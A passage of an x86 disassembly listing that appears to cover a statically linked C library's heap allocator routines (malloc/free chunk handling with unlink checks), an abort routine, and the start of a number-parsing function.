804d25f: eb 47 jmp 0x804d2a8 | |
804d261: 8b 74 24 30 mov 0x30(%esp),%esi | |
804d265: 83 f9 04 cmp $0x4,%ecx | |
804d268: 8b 06 mov (%esi),%eax | |
804d26a: 89 02 mov %eax,(%edx) | |
804d26c: 8b 46 04 mov 0x4(%esi),%eax | |
804d26f: 89 42 04 mov %eax,0x4(%edx) | |
804d272: 8b 46 08 mov 0x8(%esi),%eax | |
804d275: 89 42 08 mov %eax,0x8(%edx) | |
804d278: 76 2e jbe 0x804d2a8 | |
804d27a: 8b 46 0c mov 0xc(%esi),%eax | |
804d27d: 83 f9 06 cmp $0x6,%ecx | |
804d280: 89 42 0c mov %eax,0xc(%edx) | |
804d283: 8b 46 10 mov 0x10(%esi),%eax | |
804d286: 89 42 10 mov %eax,0x10(%edx) | |
804d289: 76 1d jbe 0x804d2a8 | |
804d28b: 8b 46 14 mov 0x14(%esi),%eax | |
804d28e: 83 f9 08 cmp $0x8,%ecx | |
804d291: 89 42 14 mov %eax,0x14(%edx) | |
804d294: 8b 46 18 mov 0x18(%esi),%eax | |
804d297: 89 42 18 mov %eax,0x18(%edx) | |
804d29a: 76 0c jbe 0x804d2a8 | |
804d29c: 8b 46 1c mov 0x1c(%esi),%eax | |
804d29f: 89 42 1c mov %eax,0x1c(%edx) | |
804d2a2: 8b 46 20 mov 0x20(%esi),%eax | |
804d2a5: 89 42 20 mov %eax,0x20(%edx) | |
804d2a8: 83 ec 0c sub $0xc,%esp | |
804d2ab: 83 c3 08 add $0x8,%ebx | |
804d2ae: ff 74 24 3c pushl 0x3c(%esp) | |
804d2b2: e8 7e 03 00 00 call 0x804d635 | |
804d2b7: e9 1c 01 00 00 jmp 0x804d3d8 | |
804d2bc: 89 d9 mov %ebx,%ecx | |
804d2be: 2b 4c 24 04 sub 0x4(%esp),%ecx | |
804d2c2: 83 f9 0f cmp $0xf,%ecx | |
804d2c5: 77 12 ja 0x804d2d9 | |
804d2c7: 8b 47 04 mov 0x4(%edi),%eax | |
804d2ca: 83 e0 01 and $0x1,%eax | |
804d2cd: 09 d8 or %ebx,%eax | |
804d2cf: 89 47 04 mov %eax,0x4(%edi) | |
804d2d2: 83 4c 1f 04 01 orl $0x1,0x4(%edi,%ebx,1) | |
804d2d7: eb 30 jmp 0x804d309 | |
804d2d9: 8b 54 24 04 mov 0x4(%esp),%edx | |
804d2dd: 8d 04 17 lea (%edi,%edx,1),%eax | |
804d2e0: 8b 57 04 mov 0x4(%edi),%edx | |
804d2e3: 83 e2 01 and $0x1,%edx | |
804d2e6: 0b 54 24 04 or 0x4(%esp),%edx | |
804d2ea: 83 ec 0c sub $0xc,%esp | |
804d2ed: 89 57 04 mov %edx,0x4(%edi) | |
804d2f0: 89 ca mov %ecx,%edx | |
804d2f2: 83 ca 01 or $0x1,%edx | |
804d2f5: 89 50 04 mov %edx,0x4(%eax) | |
804d2f8: 83 4c 08 04 01 orl $0x1,0x4(%eax,%ecx,1) | |
804d2fd: 83 c0 08 add $0x8,%eax | |
804d300: 50 push %eax | |
804d301: e8 2f 03 00 00 call 0x804d635 | |
804d306: 83 c4 10 add $0x10,%esp | |
804d309: 8d 5f 08 lea 0x8(%edi),%ebx | |
804d30c: e9 d4 00 00 00 jmp 0x804d3e5 | |
804d311: 8b 4c 24 30 mov 0x30(%esp),%ecx | |
804d315: a1 9c f5 04 08 mov 0x804f59c,%eax | |
804d31a: 48 dec %eax | |
804d31b: 8b 74 24 04 mov 0x4(%esp),%esi | |
804d31f: 8b 69 f8 mov -0x8(%ecx),%ebp | |
804d322: 83 c6 04 add $0x4,%esi | |
804d325: 89 34 24 mov %esi,(%esp) | |
804d328: 8d 14 28 lea (%eax,%ebp,1),%edx | |
804d32b: f7 d0 not %eax | |
804d32d: 8d 34 32 lea (%edx,%esi,1),%esi | |
804d330: 21 c6 and %eax,%esi | |
804d332: 89 f3 mov %esi,%ebx | |
804d334: 29 eb sub %ebp,%ebx | |
804d336: 39 5c 24 08 cmp %ebx,0x8(%esp) | |
804d33a: 0f 84 a1 00 00 00 je 0x804d3e1 | |
804d340: 6a 01 push $0x1 | |
804d342: 56 push %esi | |
804d343: 8b 44 24 10 mov 0x10(%esp),%eax | |
804d347: 29 ef sub %ebp,%edi | |
804d349: 01 e8 add %ebp,%eax | |
804d34b: 50 push %eax | |
804d34c: 57 push %edi | |
804d34d: e8 70 11 00 00 call 0x804e4c2 | |
804d352: 83 c4 10 add $0x10,%esp | |
804d355: 83 f8 ff cmp $0xffffffff,%eax | |
804d358: 74 3f je 0x804d399 | |
804d35a: 8d 14 28 lea (%eax,%ebp,1),%edx | |
804d35d: 83 cb 02 or $0x2,%ebx | |
804d360: 89 f0 mov %esi,%eax | |
804d362: 89 5a 04 mov %ebx,0x4(%edx) | |
804d365: 2b 44 24 08 sub 0x8(%esp),%eax | |
804d369: 03 05 a4 f5 04 08 add 0x804f5a4,%eax | |
804d36f: a3 a4 f5 04 08 mov %eax,0x804f5a4 | |
804d374: 3b 05 b0 f5 04 08 cmp 0x804f5b0,%eax | |
804d37a: 76 05 jbe 0x804d381 | |
804d37c: a3 b0 f5 04 08 mov %eax,0x804f5b0 | |
804d381: 03 05 a8 f5 04 08 add 0x804f5a8,%eax | |
804d387: 3b 05 b4 f5 04 08 cmp 0x804f5b4,%eax | |
804d38d: 76 05 jbe 0x804d394 | |
804d38f: a3 b4 f5 04 08 mov %eax,0x804f5b4 | |
804d394: 8d 5a 08 lea 0x8(%edx),%ebx | |
804d397: eb 4c jmp 0x804d3e5 | |
804d399: 8b 04 24 mov (%esp),%eax | |
804d39c: 39 44 24 08 cmp %eax,0x8(%esp) | |
804d3a0: 73 3f jae 0x804d3e1 | |
804d3a2: 83 ec 0c sub $0xc,%esp | |
804d3a5: 8b 44 24 10 mov 0x10(%esp),%eax | |
804d3a9: 83 e8 07 sub $0x7,%eax | |
804d3ac: 50 push %eax | |
804d3ad: e8 be f4 ff ff call 0x804c870 | |
804d3b2: 83 c4 10 add $0x10,%esp | |
804d3b5: 89 c3 mov %eax,%ebx | |
804d3b7: 85 c0 test %eax,%eax | |
804d3b9: 74 22 je 0x804d3dd | |
804d3bb: 51 push %ecx | |
804d3bc: 8b 44 24 0c mov 0xc(%esp),%eax | |
804d3c0: 83 e8 08 sub $0x8,%eax | |
804d3c3: 50 push %eax | |
804d3c4: ff 74 24 38 pushl 0x38(%esp) | |
804d3c8: 53 push %ebx | |
804d3c9: e8 e5 12 00 00 call 0x804e6b3 | |
804d3ce: 5a pop %edx | |
804d3cf: ff 74 24 3c pushl 0x3c(%esp) | |
804d3d3: e8 5d 02 00 00 call 0x804d635 | |
804d3d8: 83 c4 10 add $0x10,%esp | |
804d3db: eb 08 jmp 0x804d3e5 | |
804d3dd: 31 db xor %ebx,%ebx | |
804d3df: eb 04 jmp 0x804d3e5 | |
804d3e1: 8b 5c 24 30 mov 0x30(%esp),%ebx | |
804d3e5: 50 push %eax | |
804d3e6: 50 push %eax | |
804d3e7: 6a 01 push $0x1 | |
804d3e9: 8d 44 24 18 lea 0x18(%esp),%eax | |
804d3ed: 50 push %eax | |
804d3ee: e8 a9 09 00 00 call 0x804dd9c | |
804d3f3: 83 c4 10 add $0x10,%esp | |
804d3f6: 83 c4 1c add $0x1c,%esp | |
804d3f9: 89 d8 mov %ebx,%eax | |
804d3fb: 5b pop %ebx | |
804d3fc: 5e pop %esi | |
804d3fd: 5f pop %edi | |
804d3fe: 5d pop %ebp | |
804d3ff: c3 ret | |
804d400: 55 push %ebp | |
804d401: 57 push %edi | |
804d402: 56 push %esi | |
804d403: 53 push %ebx | |
804d404: 83 ec 0c sub $0xc,%esp | |
804d407: 89 d5 mov %edx,%ebp | |
804d409: 8b 8a 5c 03 00 00 mov 0x35c(%edx),%ecx | |
804d40f: 8b 52 2c mov 0x2c(%edx),%edx | |
804d412: 8b 72 04 mov 0x4(%edx),%esi | |
804d415: 83 e6 fc and $0xfffffffc,%esi | |
804d418: 89 f2 mov %esi,%edx | |
804d41a: 29 c2 sub %eax,%edx | |
804d41c: 8d 44 0a ef lea -0x11(%edx,%ecx,1),%eax | |
804d420: 31 d2 xor %edx,%edx | |
804d422: f7 f1 div %ecx | |
804d424: 8d 58 ff lea -0x1(%eax),%ebx | |
804d427: 0f af d9 imul %ecx,%ebx | |
804d42a: 85 db test %ebx,%ebx | |
804d42c: 7e 55 jle 0x804d483 | |
804d42e: 83 ec 0c sub $0xc,%esp | |
804d431: 6a 00 push $0x0 | |
804d433: e8 2d 11 00 00 call 0x804e565 | |
804d438: 89 c7 mov %eax,%edi | |
804d43a: 89 f0 mov %esi,%eax | |
804d43c: 03 45 2c add 0x2c(%ebp),%eax | |
804d43f: 83 c4 10 add $0x10,%esp | |
804d442: 39 c7 cmp %eax,%edi | |
804d444: 75 3d jne 0x804d483 | |
804d446: 83 ec 0c sub $0xc,%esp | |
804d449: f7 db neg %ebx | |
804d44b: 53 push %ebx | |
804d44c: e8 14 11 00 00 call 0x804e565 | |
804d451: c7 04 24 00 00 00 00 movl $0x0,(%esp) | |
804d458: e8 08 11 00 00 call 0x804e565 | |
804d45d: 83 c4 10 add $0x10,%esp | |
804d460: 83 f8 ff cmp $0xffffffff,%eax | |
804d463: 74 1e je 0x804d483 | |
804d465: 89 f9 mov %edi,%ecx | |
804d467: 29 c1 sub %eax,%ecx | |
804d469: 74 18 je 0x804d483 | |
804d46b: 8b 45 2c mov 0x2c(%ebp),%eax | |
804d46e: 29 8d 68 03 00 00 sub %ecx,0x368(%ebp) | |
804d474: 29 ce sub %ecx,%esi | |
804d476: 83 ce 01 or $0x1,%esi | |
804d479: 89 70 04 mov %esi,0x4(%eax) | |
804d47c: b8 01 00 00 00 mov $0x1,%eax | |
804d481: eb 02 jmp 0x804d485 | |
804d483: 31 c0 xor %eax,%eax | |
804d485: 83 c4 0c add $0xc,%esp | |
804d488: 5b pop %ebx | |
804d489: 5e pop %esi | |
804d48a: 5f pop %edi | |
804d48b: 5d pop %ebp | |
804d48c: c3 ret | |
804d48d: 55 push %ebp | |
804d48e: 57 push %edi | |
804d48f: 56 push %esi | |
804d490: 53 push %ebx | |
804d491: 83 ec 1c sub $0x1c,%esp | |
804d494: 8b 54 24 30 mov 0x30(%esp),%edx | |
804d498: 8b 02 mov (%edx),%eax | |
804d49a: ba 01 00 00 00 mov $0x1,%edx | |
804d49f: 85 c0 test %eax,%eax | |
804d4a1: 0f 84 21 01 00 00 je 0x804d5c8 | |
804d4a7: 8b 4c 24 30 mov 0x30(%esp),%ecx | |
804d4ab: 83 e0 fd and $0xfffffffd,%eax | |
804d4ae: 89 01 mov %eax,(%ecx) | |
804d4b0: 83 c1 34 add $0x34,%ecx | |
804d4b3: 8b 44 24 30 mov 0x30(%esp),%eax | |
804d4b7: 8b 54 24 30 mov 0x30(%esp),%edx | |
804d4bb: 83 c0 04 add $0x4,%eax | |
804d4be: 89 4c 24 18 mov %ecx,0x18(%esp) | |
804d4c2: 89 44 24 0c mov %eax,0xc(%esp) | |
804d4c6: 8b 02 mov (%edx),%eax | |
804d4c8: 8b 4c 24 0c mov 0xc(%esp),%ecx | |
804d4cc: c1 e8 03 shr $0x3,%eax | |
804d4cf: 8d 44 81 f8 lea -0x8(%ecx,%eax,4),%eax | |
804d4d3: 89 44 24 10 mov %eax,0x10(%esp) | |
804d4d7: 8b 44 24 0c mov 0xc(%esp),%eax | |
804d4db: 8b 08 mov (%eax),%ecx | |
804d4dd: 85 c9 test %ecx,%ecx | |
804d4df: 0f 84 c0 00 00 00 je 0x804d5a5 | |
804d4e5: c7 00 00 00 00 00 movl $0x0,(%eax) | |
804d4eb: 8b 51 08 mov 0x8(%ecx),%edx | |
804d4ee: 89 54 24 14 mov %edx,0x14(%esp) | |
804d4f2: 8b 41 04 mov 0x4(%ecx),%eax | |
804d4f5: 89 c7 mov %eax,%edi | |
804d4f7: 83 e7 fe and $0xfffffffe,%edi | |
804d4fa: a8 01 test $0x1,%al | |
804d4fc: 8d 1c 39 lea (%ecx,%edi,1),%ebx | |
804d4ff: 8b 53 04 mov 0x4(%ebx),%edx | |
804d502: 89 54 24 08 mov %edx,0x8(%esp) | |
804d506: 75 20 jne 0x804d528 | |
804d508: 8b 29 mov (%ecx),%ebp | |
804d50a: 89 c8 mov %ecx,%eax | |
804d50c: 29 e8 sub %ebp,%eax | |
804d50e: 8b 70 08 mov 0x8(%eax),%esi | |
804d511: 8b 50 0c mov 0xc(%eax),%edx | |
804d514: 8b 4e 0c mov 0xc(%esi),%ecx | |
804d517: 39 c1 cmp %eax,%ecx | |
804d519: 75 3d jne 0x804d558 | |
804d51b: 39 4a 08 cmp %ecx,0x8(%edx) | |
804d51e: 75 38 jne 0x804d558 | |
804d520: 01 ef add %ebp,%edi | |
804d522: 89 56 0c mov %edx,0xc(%esi) | |
804d525: 89 72 08 mov %esi,0x8(%edx) | |
804d528: 8b 44 24 30 mov 0x30(%esp),%eax | |
804d52c: 8b 6c 24 08 mov 0x8(%esp),%ebp | |
804d530: 83 e5 fc and $0xfffffffc,%ebp | |
804d533: 3b 58 2c cmp 0x2c(%eax),%ebx | |
804d536: 74 51 je 0x804d589 | |
804d538: 8b 44 2b 04 mov 0x4(%ebx,%ebp,1),%eax | |
804d53c: 89 6b 04 mov %ebp,0x4(%ebx) | |
804d53f: 83 e0 01 and $0x1,%eax | |
804d542: 85 c0 test %eax,%eax | |
804d544: 75 1f jne 0x804d565 | |
804d546: 8b 53 08 mov 0x8(%ebx),%edx | |
804d549: 8b 43 0c mov 0xc(%ebx),%eax | |
804d54c: 8b 72 0c mov 0xc(%edx),%esi | |
804d54f: 39 de cmp %ebx,%esi | |
804d551: 75 05 jne 0x804d558 | |
804d553: 39 70 08 cmp %esi,0x8(%eax) | |
804d556: 74 05 je 0x804d55d | |
804d558: e8 74 02 00 00 call 0x804d7d1 | |
804d55d: 01 ef add %ebp,%edi | |
804d55f: 89 42 0c mov %eax,0xc(%edx) | |
804d562: 89 50 08 mov %edx,0x8(%eax) | |
804d565: 8b 44 24 18 mov 0x18(%esp),%eax | |
804d569: 8b 50 08 mov 0x8(%eax),%edx | |
804d56c: 89 48 08 mov %ecx,0x8(%eax) | |
804d56f: 89 f8 mov %edi,%eax | |
804d571: 83 c8 01 or $0x1,%eax | |
804d574: 89 4a 0c mov %ecx,0xc(%edx) | |
804d577: 89 41 04 mov %eax,0x4(%ecx) | |
804d57a: 8b 44 24 18 mov 0x18(%esp),%eax | |
804d57e: 89 51 08 mov %edx,0x8(%ecx) | |
804d581: 89 41 0c mov %eax,0xc(%ecx) | |
804d584: 89 3c 39 mov %edi,(%ecx,%edi,1) | |
804d587: eb 10 jmp 0x804d599 | |
804d589: 8d 04 2f lea (%edi,%ebp,1),%eax | |
804d58c: 83 c8 01 or $0x1,%eax | |
804d58f: 89 41 04 mov %eax,0x4(%ecx) | |
804d592: 8b 54 24 30 mov 0x30(%esp),%edx | |
804d596: 89 4a 2c mov %ecx,0x2c(%edx) | |
804d599: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804d59d: 85 c9 test %ecx,%ecx | |
804d59f: 0f 85 46 ff ff ff jne 0x804d4eb | |
804d5a5: 8b 4c 24 10 mov 0x10(%esp),%ecx | |
804d5a9: 39 4c 24 0c cmp %ecx,0xc(%esp) | |
804d5ad: 74 7e je 0x804d62d | |
804d5af: 83 44 24 0c 04 addl $0x4,0xc(%esp) | |
804d5b4: e9 1e ff ff ff jmp 0x804d4d7 | |
804d5b9: 8b 4c 24 30 mov 0x30(%esp),%ecx | |
804d5bd: 8d 44 d1 2c lea 0x2c(%ecx,%edx,8),%eax | |
804d5c1: 42 inc %edx | |
804d5c2: 89 40 0c mov %eax,0xc(%eax) | |
804d5c5: 89 40 08 mov %eax,0x8(%eax) | |
804d5c8: 83 fa 5f cmp $0x5f,%edx | |
804d5cb: 7e ec jle 0x804d5b9 | |
804d5cd: 8b 44 24 30 mov 0x30(%esp),%eax | |
804d5d1: 83 88 60 03 00 00 01 orl $0x1,0x360(%eax) | |
804d5d8: c7 80 48 03 00 00 00 movl $0x0,0x348(%eax) | |
804d5df: 00 00 00 | |
804d5e2: c7 80 54 03 00 00 00 movl $0x10000,0x354(%eax) | |
804d5e9: 00 01 00 | |
804d5ec: c7 80 4c 03 00 00 00 movl $0x40000,0x34c(%eax) | |
804d5f3: 00 04 00 | |
804d5f6: c7 80 44 03 00 00 00 movl $0x40000,0x344(%eax) | |
804d5fd: 00 04 00 | |
804d600: 8b 54 24 30 mov 0x30(%esp),%edx | |
804d604: 83 ec 0c sub $0xc,%esp | |
804d607: 8b 02 mov (%edx),%eax | |
804d609: 83 e0 03 and $0x3,%eax | |
804d60c: 83 c8 48 or $0x48,%eax | |
804d60f: 89 02 mov %eax,(%edx) | |
804d611: 89 d0 mov %edx,%eax | |
804d613: 83 c0 34 add $0x34,%eax | |
804d616: 89 42 2c mov %eax,0x2c(%edx) | |
804d619: 6a 1e push $0x1e | |
804d61b: e8 f5 05 00 00 call 0x804dc15 | |
804d620: 8b 4c 24 40 mov 0x40(%esp),%ecx | |
804d624: 83 c4 10 add $0x10,%esp | |
804d627: 89 81 5c 03 00 00 mov %eax,0x35c(%ecx) | |
804d62d: 83 c4 1c add $0x1c,%esp | |
804d630: 5b pop %ebx | |
804d631: 5e pop %esi | |
804d632: 5f pop %edi | |
804d633: 5d pop %ebp | |
804d634: c3 ret | |
804d635: 55 push %ebp | |
804d636: 57 push %edi | |
804d637: 56 push %esi | |
804d638: 53 push %ebx | |
804d639: 83 ec 1c sub $0x1c,%esp | |
804d63c: 8b 7c 24 30 mov 0x30(%esp),%edi | |
804d640: 85 ff test %edi,%edi | |
804d642: 0f 84 81 01 00 00 je 0x804d7c9 | |
804d648: 56 push %esi | |
804d649: 68 38 f0 04 08 push $0x804f038 | |
804d64e: 68 99 dd 04 08 push $0x804dd99 | |
804d653: 8d 44 24 18 lea 0x18(%esp),%eax | |
804d657: 50 push %eax | |
804d658: e8 3f 07 00 00 call 0x804dd9c | |
804d65d: c7 04 24 38 f0 04 08 movl $0x804f038,(%esp) | |
804d664: e8 30 07 00 00 call 0x804dd99 | |
804d669: 8d 4f f8 lea -0x8(%edi),%ecx | |
804d66c: a1 40 f2 04 08 mov 0x804f240,%eax | |
804d671: 83 c4 10 add $0x10,%esp | |
804d674: 8b 51 04 mov 0x4(%ecx),%edx | |
804d677: 89 d3 mov %edx,%ebx | |
804d679: 83 e3 fc and $0xfffffffc,%ebx | |
804d67c: 39 c3 cmp %eax,%ebx | |
804d67e: 77 20 ja 0x804d6a0 | |
804d680: c1 eb 03 shr $0x3,%ebx | |
804d683: 83 c8 03 or $0x3,%eax | |
804d686: a3 40 f2 04 08 mov %eax,0x804f240 | |
804d68b: 8d 14 9d 40 f2 04 08 lea 0x804f240(,%ebx,4),%edx | |
804d692: 8b 42 fc mov -0x4(%edx),%eax | |
804d695: 89 41 08 mov %eax,0x8(%ecx) | |
804d698: 89 4a fc mov %ecx,-0x4(%edx) | |
804d69b: e9 18 01 00 00 jmp 0x804d7b8 | |
804d6a0: 80 e2 02 and $0x2,%dl | |
804d6a3: 0f 85 ef 00 00 00 jne 0x804d798 | |
804d6a9: 83 c8 01 or $0x1,%eax | |
804d6ac: 8d 34 19 lea (%ecx,%ebx,1),%esi | |
804d6af: a3 40 f2 04 08 mov %eax,0x804f240 | |
804d6b4: 8b 46 04 mov 0x4(%esi),%eax | |
804d6b7: 89 44 24 08 mov %eax,0x8(%esp) | |
804d6bb: f6 41 04 01 testb $0x1,0x4(%ecx) | |
804d6bf: 75 21 jne 0x804d6e2 | |
804d6c1: 8b 6f f8 mov -0x8(%edi),%ebp | |
804d6c4: 89 c8 mov %ecx,%eax | |
804d6c6: 29 e8 sub %ebp,%eax | |
804d6c8: 8b 78 08 mov 0x8(%eax),%edi | |
804d6cb: 8b 50 0c mov 0xc(%eax),%edx | |
804d6ce: 8b 4f 0c mov 0xc(%edi),%ecx | |
804d6d1: 39 c1 cmp %eax,%ecx | |
804d6d3: 75 3c jne 0x804d711 | |
804d6d5: 39 4a 08 cmp %ecx,0x8(%edx) | |
804d6d8: 75 37 jne 0x804d711 | |
804d6da: 01 eb add %ebp,%ebx | |
804d6dc: 89 57 0c mov %edx,0xc(%edi) | |
804d6df: 89 7a 08 mov %edi,0x8(%edx) | |
804d6e2: 8b 6c 24 08 mov 0x8(%esp),%ebp | |
804d6e6: 83 e5 fc and $0xfffffffc,%ebp | |
804d6e9: 3b 35 6c f2 04 08 cmp 0x804f26c,%esi | |
804d6ef: 74 52 je 0x804d743 | |
804d6f1: 8b 44 2e 04 mov 0x4(%esi,%ebp,1),%eax | |
804d6f5: 89 6e 04 mov %ebp,0x4(%esi) | |
804d6f8: 83 e0 01 and $0x1,%eax | |
804d6fb: 85 c0 test %eax,%eax | |
804d6fd: 75 1f jne 0x804d71e | |
804d6ff: 8b 56 08 mov 0x8(%esi),%edx | |
804d702: 8b 46 0c mov 0xc(%esi),%eax | |
804d705: 8b 7a 0c mov 0xc(%edx),%edi | |
804d708: 39 f7 cmp %esi,%edi | |
804d70a: 75 05 jne 0x804d711 | |
804d70c: 39 78 08 cmp %edi,0x8(%eax) | |
804d70f: 74 05 je 0x804d716 | |
804d711: e8 bb 00 00 00 call 0x804d7d1 | |
804d716: 89 42 0c mov %eax,0xc(%edx) | |
804d719: 89 50 08 mov %edx,0x8(%eax) | |
804d71c: 01 eb add %ebp,%ebx | |
804d71e: a1 7c f2 04 08 mov 0x804f27c,%eax | |
804d723: c7 41 0c 74 f2 04 08 movl $0x804f274,0xc(%ecx) | |
804d72a: 89 41 08 mov %eax,0x8(%ecx) | |
804d72d: 89 1c 19 mov %ebx,(%ecx,%ebx,1) | |
804d730: 89 48 0c mov %ecx,0xc(%eax) | |
804d733: 89 d8 mov %ebx,%eax | |
804d735: 83 c8 01 or $0x1,%eax | |
804d738: 89 0d 7c f2 04 08 mov %ecx,0x804f27c | |
804d73e: 89 41 04 mov %eax,0x4(%ecx) | |
804d741: eb 10 jmp 0x804d753 | |
804d743: 01 eb add %ebp,%ebx | |
804d745: 89 d8 mov %ebx,%eax | |
804d747: 83 c8 01 or $0x1,%eax | |
804d74a: 89 41 04 mov %eax,0x4(%ecx) | |
804d74d: 89 0d 6c f2 04 08 mov %ecx,0x804f26c | |
804d753: 81 fb ff ff 01 00 cmp $0x1ffff,%ebx | |
804d759: 76 5d jbe 0x804d7b8 | |
804d75b: f6 05 40 f2 04 08 02 testb $0x2,0x804f240 | |
804d762: 74 10 je 0x804d774 | |
804d764: 83 ec 0c sub $0xc,%esp | |
804d767: 68 40 f2 04 08 push $0x804f240 | |
804d76c: e8 1c fd ff ff call 0x804d48d | |
804d771: 83 c4 10 add $0x10,%esp | |
804d774: a1 6c f2 04 08 mov 0x804f26c,%eax | |
804d779: 8b 40 04 mov 0x4(%eax),%eax | |
804d77c: 83 e0 fc and $0xfffffffc,%eax | |
804d77f: 3b 05 84 f5 04 08 cmp 0x804f584,%eax | |
804d785: 72 31 jb 0x804d7b8 | |
804d787: ba 40 f2 04 08 mov $0x804f240,%edx | |
804d78c: a1 88 f5 04 08 mov 0x804f588,%eax | |
804d791: e8 6a fc ff ff call 0x804d400 | |
804d796: eb 20 jmp 0x804d7b8 | |
804d798: 8b 57 f8 mov -0x8(%edi),%edx | |
804d79b: ff 0d 90 f5 04 08 decl 0x804f590 | |
804d7a1: 8d 04 13 lea (%ebx,%edx,1),%eax | |
804d7a4: 29 d1 sub %edx,%ecx | |
804d7a6: 53 push %ebx | |
804d7a7: 53 push %ebx | |
804d7a8: 50 push %eax | |
804d7a9: 51 push %ecx | |
804d7aa: 29 05 a4 f5 04 08 sub %eax,0x804f5a4 | |
804d7b0: e8 4c 0d 00 00 call 0x804e501 | |
804d7b5: 83 c4 10 add $0x10,%esp | |
804d7b8: 50 push %eax | |
804d7b9: 50 push %eax | |
804d7ba: 6a 01 push $0x1 | |
804d7bc: 8d 44 24 18 lea 0x18(%esp),%eax | |
804d7c0: 50 push %eax | |
804d7c1: e8 d6 05 00 00 call 0x804dd9c | |
804d7c6: 83 c4 10 add $0x10,%esp | |
804d7c9: 83 c4 1c add $0x1c,%esp | |
804d7cc: 5b pop %ebx | |
804d7cd: 5e pop %esi | |
804d7ce: 5f pop %edi | |
804d7cf: 5d pop %ebp | |
804d7d0: c3 ret | |
804d7d1: 53 push %ebx | |
804d7d2: 81 ec 24 01 00 00 sub $0x124,%esp | |
804d7d8: 68 50 f0 04 08 push $0x804f050 | |
804d7dd: e8 b7 05 00 00 call 0x804dd99 | |
804d7e2: b8 20 00 00 00 mov $0x20,%eax | |
804d7e7: 83 c4 10 add $0x10,%esp | |
804d7ea: eb 0b jmp 0x804d7f7 | |
804d7ec: c7 84 84 98 00 00 00 movl $0x0,0x98(%esp,%eax,4) | |
804d7f3: 00 00 00 00 | |
804d7f7: 48 dec %eax | |
804d7f8: 79 f2 jns 0x804d7ec | |
804d7fa: 53 push %ebx | |
804d7fb: 53 push %ebx | |
804d7fc: 6a 06 push $0x6 | |
804d7fe: 8d 9c 24 a4 00 00 00 lea 0xa4(%esp),%ebx | |
804d805: 53 push %ebx | |
804d806: e8 9f 0f 00 00 call 0x804e7aa | |
804d80b: 83 c4 10 add $0x10,%esp | |
804d80e: 85 c0 test %eax,%eax | |
804d810: 75 0e jne 0x804d820 | |
804d812: 51 push %ecx | |
804d813: 6a 00 push $0x0 | |
804d815: 53 push %ebx | |
804d816: 6a 01 push $0x1 | |
804d818: e8 96 0d 00 00 call 0x804e5b3 | |
804d81d: 83 c4 10 add $0x10,%esp | |
804d820: 80 3d e0 f0 04 08 00 cmpb $0x0,0x804f0e0 | |
804d827: 75 2f jne 0x804d858 | |
804d829: c6 05 e0 f0 04 08 01 movb $0x1,0x804f0e0 | |
804d830: 83 ec 0c sub $0xc,%esp | |
804d833: 68 50 f0 04 08 push $0x804f050 | |
804d838: e8 5c 05 00 00 call 0x804dd99 | |
804d83d: c7 04 24 06 00 00 00 movl $0x6,(%esp) | |
804d844: e8 25 0f 00 00 call 0x804e76e | |
804d849: c7 04 24 50 f0 04 08 movl $0x804f050,(%esp) | |
804d850: e8 44 05 00 00 call 0x804dd99 | |
804d855: 83 c4 10 add $0x10,%esp | |
804d858: a0 e0 f0 04 08 mov 0x804f0e0,%al | |
804d85d: 3c 01 cmp $0x1,%al | |
804d85f: 75 58 jne 0x804d8b9 | |
804d861: 52 push %edx | |
804d862: 68 8c 00 00 00 push $0x8c | |
804d867: 6a 00 push $0x0 | |
804d869: c6 05 e0 f0 04 08 02 movb $0x2,0x804f0e0 | |
804d870: 8d 44 24 18 lea 0x18(%esp),%eax | |
804d874: 50 push %eax | |
804d875: e8 8d ed ff ff call 0x804c607 | |
804d87a: c7 44 24 1c 00 00 00 movl $0x0,0x1c(%esp) | |
804d881: 00 | |
804d882: b8 20 00 00 00 mov $0x20,%eax | |
804d887: 83 c4 10 add $0x10,%esp | |
804d88a: eb 08 jmp 0x804d894 | |
804d88c: c7 44 84 10 ff ff ff movl $0xffffffff,0x10(%esp,%eax,4) | |
804d893: ff | |
804d894: 48 dec %eax | |
804d895: 79 f5 jns 0x804d88c | |
804d897: c7 84 24 90 00 00 00 movl $0x0,0x90(%esp) | |
804d89e: 00 00 00 00 | |
804d8a2: 50 push %eax | |
804d8a3: 6a 00 push $0x0 | |
804d8a5: 8d 44 24 14 lea 0x14(%esp),%eax | |
804d8a9: 50 push %eax | |
804d8aa: 6a 06 push $0x6 | |
804d8ac: e8 2a 07 00 00 call 0x804dfdb | |
804d8b1: 83 c4 10 add $0x10,%esp | |
804d8b4: e9 77 ff ff ff jmp 0x804d830 | |
804d8b9: 3c 02 cmp $0x2,%al | |
804d8bb: 75 08 jne 0x804d8c5 | |
804d8bd: c6 05 e0 f0 04 08 03 movb $0x3,0x804f0e0 | |
804d8c4: f4 hlt | |
804d8c5: 80 3d e0 f0 04 08 03 cmpb $0x3,0x804f0e0 | |
804d8cc: 75 11 jne 0x804d8df | |
804d8ce: 83 ec 0c sub $0xc,%esp | |
804d8d1: c6 05 e0 f0 04 08 04 movb $0x4,0x804f0e0 | |
804d8d8: 6a 7f push $0x7f | |
804d8da: e8 5d 08 00 00 call 0x804e13c | |
804d8df: f4 hlt | |
804d8e0: eb fd jmp 0x804d8df | |
804d8e2: 83 ec 10 sub $0x10,%esp | |
804d8e5: 6a 0a push $0xa | |
804d8e7: 6a 00 push $0x0 | |
804d8e9: ff 74 24 1c pushl 0x1c(%esp) | |
804d8ed: e8 04 00 00 00 call 0x804d8f6 | |
804d8f2: 83 c4 1c add $0x1c,%esp | |
804d8f5: c3 ret | |
804d8f6: 83 ec 0c sub $0xc,%esp | |
804d8f9: 6a 01 push $0x1 | |
804d8fb: ff 74 24 1c pushl 0x1c(%esp) | |
804d8ff: ff 74 24 1c pushl 0x1c(%esp) | |
804d903: ff 74 24 1c pushl 0x1c(%esp) | |
804d907: e8 04 00 00 00 call 0x804d910 | |
804d90c: 83 c4 1c add $0x1c,%esp | |
804d90f: c3 ret | |
804d910: 55 push %ebp | |
804d911: 57 push %edi | |
804d912: 56 push %esi | |
804d913: 53 push %ebx | |
804d914: 83 ec 0c sub $0xc,%esp | |
804d917: 8b 15 84 f0 04 08 mov 0x804f084,%edx | |
804d91d: 8b 4c 24 20 mov 0x20(%esp),%ecx | |
804d921: 8b 74 24 28 mov 0x28(%esp),%esi | |
804d925: 89 cb mov %ecx,%ebx | |
804d927: eb 01 jmp 0x804d92a | |
804d929: 43 inc %ebx | |
804d92a: 0f be 03 movsbl (%ebx),%eax | |
804d92d: f6 04 42 20 testb $0x20,(%edx,%eax,2) | |
